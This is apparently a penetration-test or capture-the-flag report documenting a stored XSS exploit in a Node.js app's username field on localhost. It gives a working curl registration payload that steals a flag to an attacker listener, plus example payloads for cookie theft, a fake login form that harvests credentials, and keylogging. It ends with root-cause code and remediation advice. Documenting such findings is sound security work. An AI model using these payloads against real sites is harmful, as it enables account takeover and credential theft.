# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Stored XSS via Unsanitized Username Field

**Summary:**
- **Vulnerable location:** POST http://localhost:3000/register (username parameter) → GET http://localhost:3000/profile/:id (rendering sink)
- **Overview:** The application accepts arbitrary user input in the username field during registration without any validation or sanitization. This username is stored in MongoDB and later rendered directly into HTML using JavaScript template literals without HTML entity encoding, allowing execution of malicious JavaScript in any user's browser who views the profile.
- **Impact:** An attacker can capture sensitive data (including CTF flags) from other users' profiles, perform session hijacking, credential theft, and unauthorized actions in the context of victim users.
- **Severity:** Critical

**Prerequisites:**
- Access to the target application at http://localhost:3000
- Ability to register new user accounts
- HTTP listener to receive exfiltrated data (e.g., Python HTTP server, netcat, or Node.js server)

**Exploitation Steps:**

1. **Set up an exfiltration listener** to receive stolen data:
   ```bash
   # Start a simple HTTP server on port 8888 to capture exfiltrated data
   # Using the provided Node.js exfiltration listener:
   node exfil_listener.js
   # The listener will log all incoming requests with captured data
   ```

2. **Identify the target profile containing sensitive data:**
   - Login as the first user (user0) with credentials:
     - Username: `user0`
     - Password: `1b2e97s80wb7d08n-`
   - After login, the browser redirects to: http://localhost:3000/profile/[USER0_OBJECTID]
   - For this test, the first user's profile URL was: `http://localhost:3000/profile/6902c030b240a64574e1d2a1`
   - This profile contains the flag: `FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}`

3. **Register a malicious account** with XSS payload in the username field:
   ```bash
   # Using curl:
   curl -X POST http://localhost:3000/register \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=<script>fetch('http://localhost:3000/profile/6902c030b240a64574e1d2a1').then(r=>r.text()).then(h=>{let m=h.match(/FLAG\{[^}]+\}/);if(m)fetch('http://localhost:8888/?flag='+m[0])})</script>&password=malicious123"
   ```
   
   **XSS Payload Breakdown:**
   - `<script>` tag opens JavaScript execution context
   - `fetch('http://localhost:3000/profile/[TARGET_OBJECTID]')` - Fetches the target user's profile containing the flag
   - `.then(r=>r.text())` - Converts response to text
   - `.then(h=>{let m=h.match(/FLAG\{[^}]+\}/)` - Extracts flag using regex pattern
   - `if(m)fetch('http://localhost:8888/?flag='+m[0])` - Exfiltrates flag to attacker's server
   - `</script>` closes the script tag

   **Response:**
   ```json
   {
     "userId": "6902c050b240a64574e1d2aa",
     "userNumber": 3,
     "message": "User created successfully. Total users: 3",
     "distance": 9
   }
   ```

4. **Trigger the XSS payload** by viewing the malicious profile:
   - Navigate to: http://localhost:3000/profile/6902c050b240a64574e1d2aa
   - The malicious JavaScript executes immediately upon page load
   - The browser fetches the target profile and extracts the flag
   - The flag is sent to the attacker's listener

5. **Verify flag exfiltration** in the listener output:
   ```
   ================================================================================
   [2025-10-30T01:34:20.309Z] Incoming Request
   ================================================================================
   Method: GET
   URL: /?flag=FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}
   
   🎯 FLAG CAPTURED: FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}
   ================================================================================
   ```

**Proof of Impact:**

**Flag Successfully Captured:** `FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}`

**Complete Attack Chain Evidence:**
1. Malicious user registration successful with ObjectId: `6902c050b240a64574e1d2aa`
2. XSS payload stored in database in username field
3. Upon viewing profile at http://localhost:3000/profile/6902c050b240a64574e1d2aa, JavaScript executed
4. Attacker's listener received flag via HTTP GET request
5. User-Agent header confirms browser execution: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36`

**Additional Impact Scenarios:**

Beyond flag capture, this vulnerability enables:

- **Session Hijacking:** If the application had session cookies without HttpOnly flag, the payload could be modified to exfiltrate cookies:
  ```javascript
  <script>fetch('http://localhost:8888/?cookies='+document.cookie)</script>
  ```

- **Credential Harvesting:** Inject fake login forms to steal credentials:
  ```javascript
  <script>document.body.innerHTML='<h1>Session Expired</h1><form action="http://localhost:8888/steal"><input name="password" placeholder="Re-enter password"><button>Login</button></form>'</script>
  ```

- **Keylogging:** Capture all user keystrokes:
  ```javascript
  <script>document.addEventListener('keypress',e=>fetch('http://localhost:8888/?key='+e.key))</script>
  ```

- **Arbitrary Actions:** Perform unauthorized actions as the victim user, such as registering new malicious accounts, modifying data, or accessing sensitive endpoints

**Notes:**

- **No CSP Protection:** The application has no Content-Security-Policy header, allowing unrestricted JavaScript execution
- **No Input Validation:** The username field accepts any input including HTML/JavaScript without length limits or character filtering
- **No Output Encoding:** Template literals in Node.js perform raw string interpolation without HTML entity encoding
- **No Security Headers:** Missing X-XSS-Protection, X-Content-Type-Options, and other security headers
- **Persistent Attack:** The XSS payload persists in the database and affects every user who views the malicious profile
- **Amplified by IDOR:** The Insecure Direct Object Reference (IDOR) vulnerability allows accessing any user's profile without authentication, amplifying the XSS impact by enabling attackers to force victims to view malicious profiles

**Root Cause:**
The vulnerability exists due to unsafe use of JavaScript template literals for HTML rendering without any sanitization:

```javascript
// Line 211 in server.js - UNSAFE CODE
res.send(`
    <h1>Welcome, ${user.username}</h1>
    ${user._id.toString() == firstUserId ? '<p>' + flag + '</p>' : '-'}
`);
```

The `${user.username}` interpolation directly embeds user input into HTML without encoding special characters like `<`, `>`, `"`, `'`, which allows script injection.

**Recommended Remediation:**
1. Implement HTML entity encoding for all user input before rendering (e.g., using a library like `he` or DOMPurify)
2. Use a templating engine with auto-escaping (e.g., EJS, Pug, Handlebars with proper configuration)
3. Implement Content Security Policy (CSP) headers to restrict script execution
4. Add input validation to reject HTML/JavaScript characters in username field
5. Implement output encoding middleware to sanitize all responses
6. Add security headers (X-XSS-Protection, X-Content-Type-Options, etc.)
